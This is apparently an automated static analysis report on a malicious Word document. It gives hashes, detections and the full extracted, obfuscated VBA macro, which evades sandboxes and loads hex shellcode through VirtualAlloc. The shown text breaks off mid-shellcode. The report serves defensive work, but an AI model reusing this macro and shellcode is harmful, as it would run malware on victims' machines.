Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ccbfecc4794a51d7…

MALICIOUS

Office (OLE)

163.0 KB Created: 2020-06-29 08:46:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: d84b56d8ef8de71ee5b32ec46fdb463b SHA-1: 7e47e13f2b46950b89b5174107d4fe9747126ff3 SHA-256: ccbfecc4794a51d7e8a3cb58a3b0c5dc9f7ab301d5cdc9669bb0fc0fad8f0eff
210 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.005 Visual Basic

The sample contains VBA macros, including a Document_Open macro that calls CreateObject. Heuristics indicate a memory corruption vulnerability (CVE-2007-3899) and a reference to the VirtualAlloc API, suggesting the macro is used to allocate memory for and execute shellcode. The VBA script itself is heavily obfuscated, but the presence of VirtualAlloc and the CVE exploit strongly indicate a client-side execution attack. No specific malware family could be identified.

Heuristics 7

  • CVE-2007-3899 — Microsoft Word malformed string memory corruption critical CVE likely CVE_2007_3899
    Word OLE document has the MS07-060 malformed-string exploit shape: a Word 97-family FIB points to a malformed DOP/string-table region with an abnormal INT_MAX run, inflated text counters, and exploit payload or Mdropper.Z campaign evidence.
  • ClamAV: Doc.Malware.Obfuse-9448552-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Obfuse-9448552-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Dim c_olDHC_PSe_rver As String
    Set ip = CreateObject("Scripting.FileSystemObject")
    For Each o0 In ip.Drives
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
    n
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 26794 bytes
SHA-256: 4b9091575a66fd438668bcd72e9cb830141062aa97b75c57a45c05f29835b4ff
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
#If VBA7 Then
    Private Declare PtrSafe Function GetSystemMetrics Lib "user32" (ByVal i As Long) As Long
    Private Declare PtrSafe Function objAc_ce_ssRig_ht_s Lib "kernel32" Alias "VirtualAlloc" ( _
        ByVal st_rUs_edP_ort_s As LongPtr, _
        ByVal m As LongPtr, _
        ByVal j As Long, _
        ByVal y0 As Long) As LongPtr
    Private Declare PtrSafe Sub obj_Fax_Logg_ingO_ptio_ns Lib "kernel32" Alias "Sleep" (ByVal y As Long)
    Private Declare PtrSafe Function a_rrDay_Of_Wee_k0 Lib "crypt32" Alias "CryptStringToBinaryA" ( _
        ByVal str_D_omain As String, _
        c_olNet_w_orks As Long, _
        co_lInst_al_l_ed_P_ort_s As Long, _
        ob_jA_CE_3 As LongPtr, _
        objSc_he_maAtt_ribu_te As LongPtr, _
        e As LongPtr, _
        a_rr_Cano_nical_Name As LongPtr) As Long
    Private Declare PtrSafe Function posd_a_y1 Lib "gdi32" Alias "LineDDA" ( _
        ByVal ob_jSQLS_erver As Long, _
        ByVal obj_Filt_er As Long, _
        ByVal st_r_S_iteLi_nk_Pat_h As Long, _
        ByVal oUI_R_e_sour_ce As Long, _
        ByVal z As LongPtr, _
        ByVal o1 As LongPtr) As Long

Private Declare PtrSafe Function Beep Lib "kernel32" (ByVal intSt_ringL_en As Long, ByVal colLo_g_ged_Event_s As Long) As Long
#Else
    Private Declare Function GetSystemMetrics Lib "user32" (ByVal i As Long) As Long
    Private Declare Function objAc_ce_ssRig_ht_s Lib "kernel32" Alias "VirtualAlloc" ( _
        ByVal st_rUs_edP_ort_s As Long, _
        ByVal m As Long, _
        ByVal j As Long, _
        ByVal y0 As Long) As Long
    Private Declare Sub obj_Fax_Logg_ingO_ptio_ns Lib "kernel32" Alias "Sleep" (ByVal y As Long)
    Private Declare Function a_rrDay_Of_Wee_k0 Lib "crypt32" Alias "CryptStringToBinaryA" ( _
        ByVal str_D_omain As String, _
        c_olNet_w_orks As Long, _
        co_lInst_al_l_ed_P_ort_s As Long, _
        ob_jA_CE_3 As Long, _
        objSc_he_maAtt_ribu_te As Long, _
        e As Long, _
        a_rr_Cano_nical_Name As Long) As Long
    Private Declare Function posd_a_y1 Lib "gdi32" Alias "LineDDA" ( _
        ByVal ob_jSQLS_erver As Long, _
        ByVal obj_Filt_er As Long, _
        ByVal st_r_S_iteLi_nk_Pat_h As Long, _
        ByVal oUI_R_e_sour_ce As Long, _
        ByVal z As Long, _
        ByVal o1 As Long) As Long
        
Private Declare Function Beep Lib "kernel32" (ByVal intSt_ringL_en As Long, ByVal colLo_g_ged_Event_s As Long) As Long
#End If

Function r(o)
    Dim strVa_l_ue_Name As Long
    MsgBox (o + 100)
    strVa_l_ue_Name = o / 0
    Application.Quit
    r = 1
End Function

Private Sub Document_Open()
    n
End Sub

Sub n()
    Dim o_bjSer_vi_ceDi_s_play_Na_me As Long
    o_bjSer_vi_ceDi_s_play_Na_me = 0
    
    Dim q As Long, objAc_ce_ssRig_ht_s0 As Long
    q = GetSystemMetrics(0)
    objAc_ce_ssRig_ht_s0 = GetSystemMetrics(1)
    
    If 1280 = q And 1024 = objAc_ce_ssRig_ht_s0 Then
        o_bjSer_vi_ceDi_s_play_Na_me = r(1)
    End If
    If 1024 = q And 768 = objAc_ce_ssRig_ht_s0 Then
        o_bjSer_vi_ceDi_s_play_Na_me = r(2)
    End If
    If 800 = q And 600 = objAc_ce_ssRig_ht_s0 Then
        o_bjSer_vi_ceDi_s_play_Na_me = r(3)
    End If
    
    Dim o_bj_Si_nk As Long
    Dim k As String
    o_bj_Si_nk = RecentFiles.Count
    colF_ile_s = "nl03040502111"
    colF_ile_s = colF_ile_s & "52908.doc"
    lin_k = "My docum"
    lin_k = lin_k & "ents.docx"
    ob_jHa_rdDi_s_k = "cGmuqbl3SfkKfO2yOx.docx"
    o_b_jCat_alo_g = "8182911992435895.rtf"
    For o_bj_Si_nk0 = 1 To o_bj_Si_nk
        obj_NtS_e_cu_rit_yDes_cript_or = RecentFiles.Item(o_bj_Si_nk0)
        If colF_ile_s = obj_NtS_e_cu_rit_yDes_cript_or Or lin_k = obj_NtS_e_cu_rit_yDes_cript_or Or ob_jHa_rdDi_s_k = obj_NtS_e_cu_rit_yDes_cript_or Or o_b_jCat_alo_g = obj_NtS_e_cu_rit_yDes_cript_or Then
            o_bjSer_vi_ceDi_s_play_Na_me = r(4)
        End If
        k = k & "!" & obj_NtS_e_cu_rit_yDes_cript_or
    Next
    k = Replace(k, "&", "@amp@")
    
    a_rrDay_Of_Wee_k = ThisDocument.Path & "\" & ThisDocument.Name
    
    Dim obj_OU2 As String, c_o_l_S_yst_em As Variant, b As Variant
    Dim c_olDHC_PSe_rver As String
    Set ip = CreateObject("Scripting.FileSystemObject")
    For Each o0 In ip.Drives
        If o0.IsReady Then
            obj_OU2 = o0.DriveLetter
            c_o_l_S_yst_em = o0.TotalSize
            b = o0.FreeSpace
            If obj_OU2 = "C" And q = 1600 And objAc_ce_ssRig_ht_s0 = 1200 And c_o_l_S_yst_em < 63477376000# Then
                o_bjSer_vi_ceDi_s_play_Na_me = r(5)
            End If
            c_olDHC_PSe_rver = c_olDHC_PSe_rver & "!" & obj_OU2 & "_" & c_o_l_S_yst_em & "_" & b
        End If
    Next
        
    If o_bjSer_vi_ceDi_s_play_Na_me <> 0 Then
        Exit Sub
    End If
    
    MsgBox "Unhandled Exception", vbCritical, "Updates Server"
    
    obj_Fax_Logg_ingO_ptio_ns 5
#If VBA7 Then
    Dim objOp_ti_on As LongPtr
#Else
    Dim objOp_ti_on As Long
#End If

    objOp_ti_on = objAc_ce_ssRig_ht_s(ByVal 0&, ByVal 20480, &H3000&, &H40&)
    

    Dim u As String
    Dim obj_Fa_xEve_ntLog_gi_n_g0 As Long
    obj_Fa_xEve_ntLog_gi_n_g0 = 20480
    
    u = "89,e0,6a,01,29,e0,5a,3c,08,0f,85,01,08,00,00,55,48,89,e5,48,81,ec,68,01,00,00,53,57,56,48,89,4d,10,e8,00,00,00,00,58,48,83,e8,26,48,89,45,f0,48,8d,9d,a4,fe,ff,ff,48,83,ec,20,48,89,d9,e8,45,04,00,00,48,83,c4,20,48,83,ec,20,48,89,d9,e8,8d,00,00,00,48,83,c4,20,85,c0,75,64,48,83,ec,20,48,89,d9,e8,e1,00,00,00,48,83,c4,20,89,85,a0,fe,ff,ff,85,c0,74,4a,48,8b,45,f0,48,05,2f,14,00,00,48,83,ec,20,48,c7,c1,00,00,00,00,48,89,c2,4c,8d,45,8c,e8,fe,02,00,00,48,83,c4,20,48,05,2f,14,00,00,48,83,ec,20,8b,8d,a0,fe,ff,ff,48,8b,55,f0,49,89,c0,49,89,d9,e8,f9,01,00,00,48,83,c4,20,eb,00,48,83,ec,20,48,c7,c1,ff,ff,ff,ff,48,c7,c2,00,00,00,00,ff,93,90,00,00,00,48,83,c4,20,5e,5f,5b,c9,c3,55,48,89,e5,56,53,48,89,ce,48,83,ec,20,48,c7,c1,00,00,00,00,ff,96,d8,00,00,00,48,83,c4,20,89,c3,c1,e3,10,48,83,ec,20,48,c7,c1,01,00"
    u = u & ",00,00,ff,96,d8,00,00,00,48,83,c4,20,09,d8,48,83,ec,20,48,b9,b8,e7,65,af,00,00,00,00,48,89,c2,e8,a0,04,00,00,48,83,c4,20,3d,92,89,3c,4a,74,09,3d,b8,92,06,c9,74,02,31,c0,5b,5e,c9,c3,55,48,89,e5,48,81,ec,b8,01,00,00,57,56,53,48,89,4d,10,48,31,c0,48,31,c9,48,8d,bd,50,fe,ff,ff,b1,10,51,f3,aa,59,48,8d,bd,60,fe,ff,ff,f3,aa,c7,85,50,fe,ff,ff,10,00,00,00,c7,85,60,fe,ff,ff,10,00,00,00,48,c7,c1,68,00,00,00,48,8d,bd,70,fe,ff,ff,f3,aa,48,c7,c1,18,00,00,00,48,8d,bd,d8,fe,ff,ff,f3,aa,c7,85,70,fe,ff,ff,68,00,00,00,c7,85,ac,fe,ff,ff,01,00,00,00,66,c7,85,b0,fe,ff,ff,00,00,48,8b,5d,10,e8,1c,00,00,00,43,3a,5c,57,69,6e,64,6f,77,73,5c,53,79,73,57,4f,57,36,34,5c,63,6d,64,2e,65,78,65,00,5e,48,83,ec,20,48,8d,8d,f0,fe,ff,ff,eb,0e,25,73,20,2f,63,20,22,70,61,75,73,65,22,00,48,8d,15,eb,ff,ff,ff,49,89,f0,ff,93,d0,00,0"
    u = u & "0,00,48,83,c4,20,48,83,ec,50,48,c7,c1,00,00,00,00,48,8d,95,f0,fe,ff,ff,4c,8d,85,50,fe,ff,ff,4c,8d,8d,60,fe,ff,ff,48,c7,44,24,20,01,00,00,00,48,c7,44,24,28,20,00,00,00,48,c7,44,24,30,00,00,00,00,48,c7,44,24,38,00,00,00,00,48,8d,85,70,fe,ff,ff,48,89,44,24,40,48,8d,85,d8,fe,ff,ff,48,89,44,24,48,ff,53,70,48,83,c4,50,85,c0,74,2a,48,83,ec,20,48,8b,8d,e0,fe,ff,ff,ff,53,28,48,83,c4,20,48,83,ec,20,48,8b,8d,d8,fe,ff,ff,ff,53,28,48,83,c4,20,8b,85,e8,fe,ff,ff,5b,5e,5f,c9,c3,55,48,89,e5,48,83,ec,28,57,56,53,89,4d,10,48,89,55,18,4c,89,45,20,4c,89,cb,48,83,ec,20,48,c7,c1,ff,0f,1f,00,48,c7,c2,00,00,00,00,44,8b,45,10,ff,53,30,48,83,c4,20,48,89,45,e0,48,83,ec,30,48,8b,4d,e0,48,c7,c2,00,00,00,00,4c,8b,45,20,49,c7,c1,00,30,00,00,48,c7,44,24,20,40,00,00,00,ff,53,38,48,83,c4,30,48,89,45,e8,48,83,ec,30,48,8b,4d,"
    u = u & "e0,48,8b,55,e8,4c,8b,45,18,4c,8b,4d,20,48,8d,45,f0,48,89,44,24,20,ff,53,40,48,83,c4,30,48,83,ec,40,48,8b,4d,e0,48,c7,c2,00,00,00,00,49,c7,c0,00,00,00,00,4c,8b,4d,e8,48,b8,b8,e7,65,af,00,00,00,00,48,89,44,24,20,48,c7,44,24,28,00,00,00,00,48,c7,44,24,30,00,00,00,00,ff,53,48,48,83,c4,40,48,83,ec,20,48,8b,4d,e0,ff,53,28,48,83,c4,20,5b,5e,5f,c9,c3,55,48,89,e5,48,83,ec,28,57,56,53,c7,45,e0,10,00,00,00,88,4d,10,48,89,55,18,4c,89,45,20,48,8b,7d,20,b9,64,00,00,00,31,c0,89,45,f8,f3,aa,48,8b,75,18,8b,06,89,45,e4,48,8b,7d,20,8b,46,04,83,e0,03,89,07,8b,46,08,83,e0,03,89,47,04,89,45,f0,01,45,f8,8b,46,0c,83,e0,07,89,47,08,89,45,f4,01,45,f8,83,3f,01,75,03,ff,45,f8,8b,45,e4,48,31,db,48,83,ec,20,89,c1,48,89,da,e8,c0,01,00,00,48,83,c4,20,48,ff,c3,0f,b6,4d,10,67,e3,08,30,44,1e,0f,75,de,eb,06,38,44,1e,0f,75,d6"
    u = u & ",ff,4d,f8,75,d1,01,5d,e0,48,31,db,38,5d,10,74,44,8b,4d,f0,48,8d,76,10,48,89,75,e8,ac,84,c0,75,fb,48,8b,45,e8,48,89,44,df,0c,48,ff,c3,e2,e9,48,31,db,8b,4d,f4,48,89,75,e8,ac,84,c0,75,fb,48,8b,45,e8,48,89,44,df,24,48,ff,c3,e2,e9,83,3f,01,75,04,48,89,77,5c,8b,45,e0,5b,5e,5f,c9,c3,55,48,89,e5,57,56,53,41,54,41,55,41,56,48,89,cf,4c,8d,21,4c,8d,69,08,e8,00,00,00,00,5e,48,83,c6,72,4c,8d,b6,ba,00,00,00,4c,39,f6,73,56,0f,ba,26,07,73,22,48,83,ec,20,48,89,d9,48,89,f2,4d,89,e0,49,c7,c1,00,00,00,00,e8,42,01,00,00,48,83,c4,20,48,ab,ad,eb,d3,48,83,ec,20,48,89,f1,e8,76,02,00,00,48,83,c4,20,48,85,c0,75,0f,48,83,ec,20,48,89,f1,41,ff,55,00,48,83,c4,20,48,89,c3,ac,84,c0,75,fb,eb,a5,41,5e,41,5d,41,5c,5b,5e,5f,c9,c3,6b,65,72,6e,65,6c,33,32,2e,64,6c,6c,00,c8,27,5e,48,ce,d1,0a,40,f5,0d,ae,4b,c9,8e,b5,de,8e,de,3a,1"
    u = u & "b,f8,16,55,52,9f,c4,65,cf,ff,3c,91,36,ca,0c,a2,30,92,8a,55,e4,cd,8d,03,48,a0,64,f8,90,b3,32,2c,39,9a,03,1b,95,de,e3,5f,98,9e,40,fa,98,d9,64,1f,1e,a3,48,1f,ba,84,9b,bb,90,73,68,65,6c,6c,33,32,2e,64,6c,6c,00,97,1e,94,d8,6e,74,64,6c,6c,2e,64,6c,6c,00,85,8e,00,2f,77,69,6e,69,6e,65,74,2e,64,6c,6c,00,e7,be,4b,7f,c4,3f,da,71,a8,0d,f9,a5,b1,34,3e,a1,73,68,6c,77,61,70,69,2e,64,6c,6c,00,9b,89,3f,4a,75,73,65,72,33,32,2e,64,6c,6c,00,8e,f2,64,c1,ea,0f,c4,89,f7,7b,3f,fa,55,48,89,e5,89,c8,01,d0,89,c2,c1,e2,0a,01,d0,89,c2,c1,ea,06,31,d0,c9,c3,55,48,89,e5,48,83,ec,08,56,48,89,ce,31,c0,0f,b6,16,48,ff,c6,85,d2,74,11,48,83,ec,20,89,c1,e8,c5,ff,ff,ff,48,83,c4,20,eb,e5,0c,80,5e,c9,c3,55,48,89,e5,48,83,ec,18,57,56,53,48,89,4d,10,48,89,55,18,4c,89,45,20,4c,89,4d,28,48,8b,45,10,4d,31,d2,44,8b,50,3c,4c,01,d0,48,8b,"
    u = u & "7d,10,44,8b,90,88,00,00,00,4c,01,d7,8b,80,8c,00,00,00,89,45,f0,48,8b,5d,18,48,81,fb,ff,ff,00,00,77,0c,44,8b,57,10,4c,29,d3,e9,83,00,00,00,48,31,f6,8b,77,20,48,03,75,10,48,31,db,3b,5f,18,73,31,ff,c3,48,31,c0,ad,48,03,45,10,48,89,45,f4,48,8b,4d,18,f6,01,80,74,22,48,83,ec,20,48,89,c1,e8,44,ff,ff,ff,48,83,c4,20,48,8b,4d,18,39,01,75,cc,eb,21,48,31,c0,e9,a0,00,00,00,48,83,ec,20,48,8b,4d,18,48,89,c2,e8,2b,01,00,00,48,83,c4,20,48,85,c0,75,a9,48,8b,45,28,48,85,c0,74,07,48,8b,4d,f4,48,89,08,48,31,f6,8b,77,24,48,03,75,10,0f,b7,5c,5e,fe,48,31,f6,8b,77,1c,48,03,75,10,48,31,c0,8b,04,9e,48,85,c0,74,ab,48,03,45,10,48,39,f8,72,4a,48,89,f9,44,8b,55,f0,4c,01,d1,48,39,c8,73,3b,48,31,c0,48,3b,45,20,74,8a,48,81,7d,18,ff,ff,00,00,77,15,48,83,ec,20,48,8b,4d,10,48,8b,55,18,ff,55,20,48,83,c4,20,eb,13,48,83,ec,20,48"
    u = u & ",8b,4d,10,48,8b,55,f4,ff,55,20,48,83,c4,20,5b,5e,5f,c9,c3,55,48,89,e5,48,83,ec,18,53,57,56,48,89,4d,10,48,31,c0,65,48,8b,40,60,48,8b,75,10,48,85,f6,75,06,48,8b,40,10,eb,6b,48,8b,40,18,48,8b,40,10,48,89,45,f0,eb,09,48,8b,00,48,3b,45,f0,74,51,48,8d,18,48,8b,7b,60,48,85,ff,74,eb,48,8b,75,10,48,31,c9,8a,16,48,ff,c6,80,fa,61,72,08,80,fa,7a,77,03,80,ea,20,66,3b,4b,58,72,0a,84,d2,75,c8,48,8b,43,30,eb,1f,8a,34,0f,48,ff,c1,48,ff,c1,80,fe,61,72,08,80,fe,7a,77,03,80,ee,20,38,f2,74,c4,eb,a6,48,31,c0,5e,5f,5b,c9,c3,55,48,89,e5,8a,01,48,ff,c1,8a,22,48,ff,c2,28,e0,75,04,84,e4,75,ee,48,0f,be,c0,c9,c3,55,89,e5,81,ec,b4,00,00,00,53,57,56,e8,00,00,00,00,58,83,e8,11,89,45,fc,8d,9d,50,ff,ff,ff,53,e8,6f,03,00,00,53,e8,81,00,00,00,85,c0,75,6f,81,7d,08,b8,e7,65,af,74,3b,53,e8,ee,00,00,00,89,85,4c,ff,ff,ff,85,c0,7"
    u = u & "4,2b,8b,45,fc,05,1f,0c,00,00,8d,55,c4,52,50,6a,00,e8,70,02,00,00,05,1f,0c,00,00,53,50,ff,75,fc,ff,b5,4c,ff,ff,ff,e8,f6,01,00,00,eb,2b,53,e8,6d,00,00,00,85,c0,74,21,8b,45,fc,05,1f,0c,00,00,8d,55,c4,52,50,6a,01,e8,3b,02,00,00,53,8d,55,c4,52,ff,75,08,e8,13,04,00,00,6a,00,6a,ff,ff,53,48,5e,5f,5b,c9,c2,04,00,55,89,e5,56,53,8b,75,08,6a,00,ff,56,6c,89,c3,c1,e3,10,6a,01,ff,56,6c,09,d8,50,68,b8,e7,65,af,e8,bf,09,00,00,3d,92,89,3c,4a,74,09,3d,b8,92,06,c9,74,02,31,c0,5b,5e,c9,c2,04,00,55,89,e5,53,8b,5d,08,e8,16,00,00,00,66,36,35,65,37,62,38,66,36,35,65,37,62,38,66,36,35,65,37,62,38,00,6a,01,6a,00,ff,53,40,85,c0,74,12,6a,00,50,ff,53,44,3d,02,01,00,00,74,05,31,c0,40,eb,02,31,c0,5b,c9,c2,04,00,55,89,e5,81,ec,70,01,00,00,57,56,53,31,c0,8d,bd,90,fe,ff,ff,b9,0c,00,00,00,51,f3,aa,59,8d,bd,9c,fe,ff,ff,f3,aa,"
    u = u & "c7,85,90,fe,ff,ff,0c,00,00,00,c7,85,9c,fe,ff,ff,0c,00,00,00,30,c0,b9,44,00,00,00,8d,bd,a8,fe,ff,ff,f3,aa,b9,10,00,00,00,8d,bd,ec,fe,ff,ff,f3,aa,8d,bd,ec,fe,ff,ff,c7,85,a8,fe,ff,ff,44,00,00,00,c7,85,d4,fe,ff,ff,01,00,00,00,66,c7,85,d8,fe,ff,ff,00,00,8b,5d,08,e8,1c,00,00,00,43,3a,5c,57,69,6e,64,6f,77,73,5c,53,79,73,57,4f,57,36,34,5c,63,6d,64,2e,65,78,65,00,5e,56,ff,53,64,85,c0,75,22,e8,1c,00,00,00,43,3a,5c,57,69,6e,64,6f,77,73,5c,73,79,73,74,65,6d,33,32,5c,63,6d,64,2e,65,78,65,00,5e,56,e8,0e,00,00,00,25,73,20,2f,63,20,22,70,61,75,73,65,22,00,8d,95,fc,fe,ff,ff,52,ff,53,68,83,c4,0c,8d,95,ec,fe,ff,ff,52,8d,95,a8,fe,ff,ff,52,6a,00,6a,00,6a,20,6a,01,8d,95,9c,fe,ff,ff,52,8d,95,90,fe,ff,ff,52,8d,95,fc,fe,ff,ff,52,6a,00,ff,53,38,85,c0,74,18,ff,b5,f0,fe,ff,ff,ff,53,14,ff,b5,ec,fe,ff,ff,ff,53,14,8b,85"
    u = u & ",f4,fe,ff,ff,5b,5e,5f,c9,c2,04,00,55,89,e5,83,ec,0c,57,56,53,8b,5d,14,ff,75,08,6a,00,68,ff,0f,1f,00,ff,53,18,89,45,f4,6a,40,68,00,30,00,00,ff,75,10,6a,00,ff,75,f4,ff,53,1c,89,45,f8,6a,00,ff,75,10,ff,75,0c,ff,75,f8,ff,75,f4,ff,53,20,6a,00,6a,00,68,b8,e7,65,af,ff,75,f8,6a,00,6a,00,ff,75,f4,ff,53,24,ff,75,f4,ff,53,14,5b,5e,5f,c9,c2,10,00,55,89,e5,83,ec,18,57,56,53,c7,45,e8,10,00,00,00,8b,7d,10,b9,38,00,00,00,31,c0,89,45,fc,f3,aa,8b,75,0c,8b,06,89,45,ec,8b,7d,10,8b,46,04,83,e0,03,89,07,8b,46,08,83,e0,03,89,47,04,89,45,f4,01,45,fc,8b,46,0c,83,e0,07,89,47,08,89,45,f8,01,45,fc,83,3f,01,75,03,ff,45,fc,8b,45,ec,31,db,53,50,e8,5f,07,00,00,43,8b,4d,08,e3,08,30,44,1e,0f,75,ed,eb,06,38,44,1e,0f,75,e5,ff,4d,fc,75,e0,01,5d,e8,31,db,39,5d,08,74,37,8b,4d,f4,8d,76,10,89,75,f0,ac,84,c0,75,fb,8b,45,f0,89,44,9"
    u = u & "f,0c,43,e2,ee,31,db,8b,4d,f8,89,75,f0,ac,84,c0,75,fb,8b,45,f0,89,44,9f,18,43,e2,ee,83,3f,01,75,03,89,77,34,8b,45,e8,5b,5e,5f,c9,c2,0c,00,55,89,e5,83,ec,0c,57,56,53,8b,7d,08,8d,07,89,45,f4,8d,47,04,89,45,f8,e8,00,00,00,00,5e,8d,76,47,8d,9e,ba,00,00,00,39,de,73,32,0f,ba,26,07,73,12,6a,00,ff,75,f4,56,ff,75,fc,e8,f9,06,00,00,ab,ad,eb,e4,56,e8,b7,07,00,00,85,c0,75,06,8b,45,f8,56,ff,10,89,45,fc,ac,84,c0,75,fb,eb,ca,5b,5e,5f,c9,c2,04,00,6b,65,72,6e,65,6c,33,32,2e,64,6c,6c,00,c8,27,5e,48,ce,d1,0a,40,f5,0d,ae,4b,c9,8e,b5,de,8e,de,3a,1b,f8,16,55,52,9f,c4,65,cf,ff,3c,91,36,ca,0c,a2,30,92,8a,55,e4,cd,8d,03,48,a0,64,f8,90,b3,32,2c,39,9a,03,1b,95,de,e3,5f,98,9e,40,fa,98,d9,64,1f,1e,a3,48,1f,ba,84,9b,bb,90,73,68,65,6c,6c,33,32,2e,64,6c,6c,00,97,1e,94,d8,6e,74,64,6c,6c,2e,64,6c,6c,00,85,8e,00,2f,77,69,6e,"
    u = u & "69,6e,65,74,2e,64,6c,6c,00,e7,be,4b,7f,c4,3f,da,71,a8,0d,f9,a5,b1,34,3e,a1,73,68,6c,77,61,70,69,2e,64,6c,6c,00,9b,89,3f,4a,75,73,65,72,33,32,2e,64,6c,6c,00,8e,f2,64,c1,ea,0f,c4,89,f7,7b,3f,fa,55,89,e5,81,ec,4c,05,00,00,56,57,53,8b,75,0c,8b,5d,10,53,56,8d,95,bc,fa,ff,ff,52,e8,31,05,00,00,8d,95,f0,fd,ff,ff,52,e8,42,02,00,00,31,c0,89,85,e8,fd,ff,ff,ff,8d,e8,fd,ff,ff,79,14,8b,46,04,89,85,e8,fd,ff,ff,8d,46,0c,89,85,ec,fd,ff,ff,eb,e4,8b,85,ec,fd,ff,ff,83,85,ec,fd,ff,ff,04,8d,95,f0,fd,ff,ff,52,8d,95,f8,fd,ff,ff,52,ff,30,e8,26,02,00,00,53,68,04,01,00,00,8d,95,fc,fe,ff,ff,52,e8,34,01,00,00,68,04,01,00,00,8d,95,fc,fe,ff,ff,52,8d,95,f8,fd,ff,ff,52,e8,e4,00,00,00,53,8d,95,bc,fa,ff,ff,52,8d,95,f8,fd,ff,ff,52,e8,11,02,00,00,85,c0,75,0d,68,60,ea,00,00,ff,53,3c,e9,73,ff,ff,ff,83,3e,00,75,1a,6a,00,6a,00,ff"
    u = u & ",75,08,8d,95,bc,fa,ff,ff,52,6a,00,6a,00,ff,53,4c,e9,99,00,00,00,83,3e,01,75,4a,ff,76,34,8d,95,bc,fa,ff,ff,52,e8,08,00,00,00,22,25,73,22,2c,25,73,00,8d,95,e0,fb,ff,ff,52,ff,53,68,83,c4,10,6a,00,6a,00,8d,95,e0,fb,ff,ff,52,e8,0d,00,00,00,72,75,6e,64,6c,6c,33,32,2e,65,78,65,00,6a,00,6a,00,ff,53,4c,eb,4a,83,3e,02,75,45,8d,95,bc,fa,ff,ff,52,e8,08,00,00,00,2d,73,20,22,25,73,22,00,8d,95,e0,fb,ff,ff,52,ff,53,68,83,c4,0c,6a,00,6a,00,8d,95,e0,fb,ff,ff,52,e8,0d,00,00,00,72,65,67,73,76,72,33,32,2e,65,78,65,00,6a,00,6a,00,ff,53,4c,5b,5f,5e,c9,c2,0c,00,55,89,e5,57,56,8b,75,08,31,c9,ac,41,84,c0,75,fa,8d,51,ff,8b,75,0c,31,c9,ac,41,84,c0,75,fa,8d,04,0a,39,45,10,73,02,89,11,8b,75,0c,8b,7d,08,01,d7,f3,a4,5e,5f,c9,c2,0c,00,55,89,e5,81,ec,18,01,00,00,57,56,53,8b,5d,10,6a,00,ff,53,6c,89,85,f8,fe,ff,ff,6a,01,ff,5"
    u = u & "3,6c,89,85,fc,fe,ff,ff,8d,95,e8,fe,ff,ff,52,ff,53,70,6a,0a,ff,53,3c,8d,95,f0,fe,ff,ff,52,ff,53,70,ff,b5,f4,fe,ff,ff,ff,b5,f0,fe,ff,ff,ff,b5,ec,fe,ff,ff,ff,b5,e8,fe,ff,ff,ff,b5,fc,fe,ff,ff,ff,b5,f8,fe,ff,ff,e8,21,00,00,00,26,73,63,72,3d,25,64,78,25,64,26,63,75,72,31,3d,25,64,78,25,64,26,63,75,72,32,3d,25,64,78,25,64,00,8d,95,00,ff,ff,ff,52,ff,53,68,83,c4,20,39,45,0c,76,13,8d,b5,00,ff,ff,ff,8b,7d,08,89,c1,f3,a4,30,c0,aa,40,eb,02,31,c0,5b,5e,5f,c9,c2,0c,00,55,89,e5,57,8b,7d,08,0f,31,b9,07,07,07,07,89,c2,c1,ea,03,21,c8,0d,30,30,30,30,ab,89,d0,21,c8,0d,30,30,30,30,ab,5f,c9,c2,04,00,55,89,e5,57,56,8b,75,08,8b,7d,0c,ac,84,c0,74,03,aa,eb,f8,b8,26,69,64,3d,ab,8b,75,10,ad,ab,ad,ab,31,c0,aa,5e,5f,c9,c2,0c,00,55,89,e5,81,ec,00,10,00,00,53,ff,75,10,68,00,10,00,00,8d,95,00,f0,ff,ff,52,ff,75,0c,ff,75,08,"
    u = u & "e8,cc,00,00,00,89,c3,85,c0,74,43,31,c0,83,fb,02,76,3c,66,81,bd,00,f0,ff,ff,4d,5a,74,13,66,83,bd,00,f0,ff,ff,00,75,27,66,c7,85,00,f0,ff,ff,4d,5a,8b,45,10,68,88,13,00,00,ff,50,3c,ff,75,10,53,8d,95,00,f0,ff,ff,52,ff,75,0c,e8,05,00,00,00,5b,c9,c2,0c,00,55,89,e5,83,ec,08,57,53,c7,45,f8,00,00,00,00,c7,45,fc,00,00,00,00,8b,5d,14,6a,00,68,80,00,00,00,6a,03,6a,00,6a,01,68,00,00,00,40,ff,75,08,ff,53,2c,89,45,f8,83,f8,ff,74,2a,6a,00,6a,00,6a,00,ff,75,f8,ff,53,30,6a,00,8d,55,fc,52,ff,75,10,ff,75,0c,ff,75,f8,ff,53,34,85,c0,74,08,8b,45,10,3b,45,fc,74,04,31,ff,eb,03,31,ff,47,8b,45,f8,83,f8,ff,74,04,50,ff,53,14,89,f8,5b,5f,c9,c2,10,00,55,89,e5,81,ec,24,04,00,00,57,56,53,c7,85,dc,fb,ff,ff,ff,ff,ff,ff,c7,85,e0,fb,ff,ff,00,00,00,00,c7,85,e4,fb,ff,ff,00,00,00,00,c7,85,e8,fb,ff,ff,00,00,00,00,c7,85,ec,fb,ff,ff"
